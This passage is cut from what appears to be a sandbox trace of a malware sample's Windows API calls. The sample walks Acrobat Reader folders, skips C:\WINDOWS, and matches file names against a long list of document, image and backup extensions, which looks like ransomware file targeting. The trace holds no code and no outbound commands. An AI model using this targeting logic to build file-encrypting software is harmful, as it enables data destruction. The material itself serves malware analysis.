(lpString=".epsp") returned 5 [0272.759] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0272.760] lstrlenW (lpString=".erf") returned 4 [0272.760] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0272.760] lstrlenW (lpString=".exr") returned 4 [0272.760] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0272.760] lstrlenW (lpString=".f4v") returned 4 [0272.760] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0272.760] lstrlenW (lpString=".fido") returned 5 [0272.760] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0272.760] lstrlenW (lpString=".flm") returned 4 [0272.760] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0272.760] lstrlenW (lpString=".flv") returned 4 [0272.760] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0272.760] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0272.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0272.760] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315cf0 [0272.761] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.761] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.761] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.761] FindClose (in: hFindFile=0x3315cf0 | out: hFindFile=0x3315cf0) returned 1 [0272.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0272.762] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0272.762] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn") returned 119 [0272.762] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn") returned 1 [0272.762] lstrlenW (lpString="zh-cn") returned 5 [0272.762] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-cn") returned -1 [0272.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0272.762] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn") returned 119 [0272.762] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0272.763] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.763] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.763] lstrlenW (lpString="ui-strings.js") returned 13 [0272.763] lstrlenW (lpString=".1cd") returned 4 [0272.763] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0272.763] lstrlenW (lpString=".3ds") returned 4 [0272.763] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0272.763] lstrlenW (lpString=".3fr") returned 4 [0272.763] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0272.763] lstrlenW (lpString=".3g2") returned 4 [0272.763] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0272.763] lstrlenW (lpString=".3gp") returned 4 [0272.763] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0272.763] lstrlenW (lpString=".7z") returned 3 [0272.763] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0272.763] lstrlenW (lpString=".accda") returned 6 [0272.763] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0272.763] lstrlenW (lpString=".accdb") returned 6 [0272.763] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0272.763] lstrlenW (lpString=".accdc") returned 6 [0272.764] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0272.764] lstrlenW (lpString=".accde") returned 6 [0272.764] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0272.764] lstrlenW (lpString=".accdt") returned 6 [0272.764] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0272.764] lstrlenW (lpString=".accdw") returned 6 [0272.764] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0272.764] lstrlenW (lpString=".adb") returned 4 [0272.764] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0272.764] lstrlenW (lpString=".adp") returned 4 [0272.764] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0272.764] lstrlenW (lpString=".ai") returned 3 [0272.764] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0272.764] lstrlenW (lpString=".ai3") returned 4 [0272.764] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0272.764] lstrlenW (lpString=".ai4") returned 4 [0272.764] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0272.764] lstrlenW (lpString=".ai5") returned 4 [0272.764] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0272.764] lstrlenW (lpString=".ai6") returned 4 [0272.764] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0272.764] lstrlenW (lpString=".ai7") returned 4 [0272.764] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0272.764] lstrlenW (lpString=".ai8") returned 4 [0272.765] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0272.765] lstrlenW (lpString=".anim") returned 5 [0272.765] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0272.765] lstrlenW (lpString=".arw") returned 4 [0272.765] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0272.765] lstrlenW (lpString=".as") returned 3 [0272.765] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0272.765] lstrlenW (lpString=".asa") returned 4 [0272.765] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0272.765] lstrlenW (lpString=".asc") returned 4 [0272.765] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0272.765] lstrlenW (lpString=".ascx") returned 5 [0272.765] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0272.765] lstrlenW (lpString=".asm") returned 4 [0272.765] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0272.765] lstrlenW (lpString=".asmx") returned 5 [0272.765] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0272.765] lstrlenW (lpString=".asp") returned 4 [0272.765] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0272.765] lstrlenW (lpString=".aspx") returned 5 [0272.766] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0272.766] lstrlenW (lpString=".asr") returned 4 [0272.766] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0272.766] lstrlenW (lpString=".asx") returned 4 [0272.766] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0272.766] lstrlenW (lpString=".avi") returned 4 [0272.766] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0272.766] lstrlenW (lpString=".avs") returned 4 [0272.766] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0272.766] lstrlenW (lpString=".backup") returned 7 [0272.766] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0272.766] lstrlenW (lpString=".bak") returned 4 [0272.766] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0272.766] lstrlenW (lpString=".bay") returned 4 [0272.766] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0272.766] lstrlenW (lpString=".bd") returned 3 [0272.766] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0272.766] lstrlenW (lpString=".bin") returned 4 [0272.766] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0272.766] lstrlenW (lpString=".bmp") returned 4 [0272.766] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0272.766] lstrlenW (lpString=".bz2") returned 4 [0272.766] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0272.766] lstrlenW (lpString=".c") returned 2 [0272.767] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0272.767] lstrlenW (lpString=".cdr") returned 4 [0272.767] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0272.767] lstrlenW (lpString=".cer") returned 4 [0272.767] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0272.767] lstrlenW (lpString=".cf") returned 3 [0272.767] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0272.767] lstrlenW (lpString=".cfc") returned 4 [0272.767] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0272.767] lstrlenW (lpString=".cfm") returned 4 [0272.767] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0272.767] lstrlenW (lpString=".cfml") returned 5 [0272.767] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0272.767] lstrlenW (lpString=".cfu") returned 4 [0272.767] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0272.767] lstrlenW (lpString=".chm") returned 4 [0272.767] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0272.767] lstrlenW (lpString=".cin") returned 4 [0272.767] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0272.767] lstrlenW (lpString=".class") returned 6 [0272.767] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0272.767] lstrlenW (lpString=".clx") returned 4 [0272.767] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0272.767] lstrlenW (lpString=".config") returned 7 [0272.768] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0272.768] lstrlenW (lpString=".cpp") returned 4 [0272.768] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0272.768] lstrlenW (lpString=".cr2") returned 4 [0272.768] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0272.768] lstrlenW (lpString=".crt") returned 4 [0272.768] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0272.768] lstrlenW (lpString=".crw") returned 4 [0272.768] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0272.768] lstrlenW (lpString=".cs") returned 3 [0272.768] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0272.768] lstrlenW (lpString=".css") returned 4 [0272.768] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0272.768] lstrlenW (lpString=".csv") returned 4 [0272.768] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0272.768] lstrlenW (lpString=".cub") returned 4 [0272.768] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0272.768] lstrlenW (lpString=".dae") returned 4 [0272.768] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0272.768] lstrlenW (lpString=".dat") returned 4 [0272.768] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0272.768] lstrlenW (lpString=".db") returned 3 [0272.768] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0272.768] lstrlenW (lpString=".dbf") returned 4 [0272.769] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0272.769] lstrlenW (lpString=".dbx") returned 4 [0272.769] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0272.769] lstrlenW (lpString=".dc3") returned 4 [0272.769] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0272.769] lstrlenW (lpString=".dcm") returned 4 [0272.769] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0272.769] lstrlenW (lpString=".dcr") returned 4 [0272.769] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0272.769] lstrlenW (lpString=".der") returned 4 [0272.769] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0272.769] lstrlenW (lpString=".dib") returned 4 [0272.769] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0272.769] lstrlenW (lpString=".dic") returned 4 [0272.769] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0272.769] lstrlenW (lpString=".dif") returned 4 [0272.769] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0272.769] lstrlenW (lpString=".divx") returned 5 [0272.769] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0272.769] lstrlenW (lpString=".djvu") returned 5 [0272.769] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0272.769] lstrlenW (lpString=".dng") returned 4 [0272.769] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0272.769] lstrlenW (lpString=".doc") returned 4 [0272.770] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0272.770] lstrlenW (lpString=".docm") returned 5 [0272.770] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0272.770] lstrlenW (lpString=".docx") returned 5 [0272.770] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0272.770] lstrlenW (lpString=".dot") returned 4 [0272.770] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0272.770] lstrlenW (lpString=".dotm") returned 5 [0272.770] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0272.770] lstrlenW (lpString=".dotx") returned 5 [0272.770] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0272.770] lstrlenW (lpString=".dpx") returned 4 [0272.860] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0272.860] lstrlenW (lpString=".dqy") returned 4 [0272.860] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0272.860] lstrlenW (lpString=".dsn") returned 4 [0272.860] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0272.860] lstrlenW (lpString=".dt") returned 3 [0272.860] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0272.860] lstrlenW (lpString=".dtd") returned 4 [0272.860] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0272.860] lstrlenW (lpString=".dwg") returned 4 [0272.860] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0272.860] lstrlenW (lpString=".dwt") returned 4 [0272.860] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0272.860] lstrlenW (lpString=".dx") returned 3 [0272.860] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0272.860] lstrlenW (lpString=".dxf") returned 4 [0272.860] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0272.860] lstrlenW (lpString=".edml") returned 5 [0272.860] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0272.860] lstrlenW (lpString=".efd") returned 4 [0272.860] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0272.861] lstrlenW (lpString=".elf") returned 4 [0272.861] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0272.861] lstrlenW (lpString=".emf") returned 4 [0272.861] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0272.861] lstrlenW (lpString=".emz") returned 4 [0272.861] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0272.861] lstrlenW (lpString=".epf") returned 4 [0272.861] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0272.861] lstrlenW (lpString=".eps") returned 4 [0272.861] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0272.861] lstrlenW (lpString=".epsf") returned 5 [0272.861] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0272.861] lstrlenW (lpString=".epsp") returned 5 [0272.861] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0272.861] lstrlenW (lpString=".erf") returned 4 [0272.861] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0272.861] lstrlenW (lpString=".exr") returned 4 [0272.861] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0272.861] lstrlenW (lpString=".f4v") returned 4 [0272.861] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0272.861] lstrlenW (lpString=".fido") returned 5 [0272.861] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0272.861] lstrlenW (lpString=".flm") returned 4 [0272.861] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0272.861] lstrlenW (lpString=".flv") returned 4 [0272.861] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0272.861] lstrlenW (lpString=".frm") returned 4 [0272.862] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0272.862] lstrlenW (lpString=".fxg") returned 4 [0272.862] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0272.862] lstrlenW (lpString=".geo") returned 4 [0272.862] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0272.862] lstrlenW (lpString=".gif") returned 4 [0272.862] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0272.862] lstrlenW (lpString=".grs") returned 4 [0272.862] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0272.862] lstrlenW (lpString=".gz") returned 3 [0272.862] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0272.862] lstrlenW (lpString=".h") returned 2 [0272.862] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0272.862] lstrlenW (lpString=".hdr") returned 4 [0272.862] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0272.862] lstrlenW (lpString=".hpp") returned 4 [0272.862] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0272.862] lstrlenW (lpString=".hta") returned 4 [0272.862] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0272.862] lstrlenW (lpString=".htc") returned 4 [0272.862] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0272.862] lstrlenW (lpString=".htm") returned 4 [0272.862] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0272.862] lstrlenW (lpString=".html") returned 5 [0272.862] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0272.862] lstrlenW (lpString=".icb") returned 4 [0272.862] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0272.862] lstrlenW (lpString=".ics") returned 4 [0272.863] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0272.863] lstrlenW (lpString=".iff") returned 4 [0272.863] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0272.863] lstrlenW (lpString=".inc") returned 4 [0272.863] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0272.863] lstrlenW (lpString=".indd") returned 5 [0272.863] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0272.863] lstrlenW (lpString=".ini") returned 4 [0272.863] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0272.863] lstrlenW (lpString=".iqy") returned 4 [0272.863] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0272.863] lstrlenW (lpString=".j2c") returned 4 [0272.863] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0272.863] lstrlenW (lpString=".j2k") returned 4 [0272.863] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0272.863] lstrlenW (lpString=".java") returned 5 [0272.863] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0272.863] lstrlenW (lpString=".jp2") returned 4 [0272.863] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0272.863] lstrlenW (lpString=".jpc") returned 4 [0272.863] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0272.863] lstrlenW (lpString=".jpe") returned 4 [0272.863] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0272.863] lstrlenW (lpString=".jpeg") returned 5 [0272.863] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0272.864] lstrlenW (lpString=".jpf") returned 4 [0272.864] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0272.864] lstrlenW (lpString=".jpg") returned 4 [0272.864] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0272.864] lstrlenW (lpString=".jpx") returned 4 [0272.864] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0272.864] lstrlenW (lpString=".js") returned 3 [0272.864] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0272.864] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.864] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0272.864] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0272.864] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0272.864] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw") returned 119 [0272.864] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw") returned 1 [0272.864] lstrlenW (lpString="zh-tw") returned 5 [0272.864] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-tw") returned -1 [0272.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0272.865] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw") returned 119 [0272.865] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0273.060] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 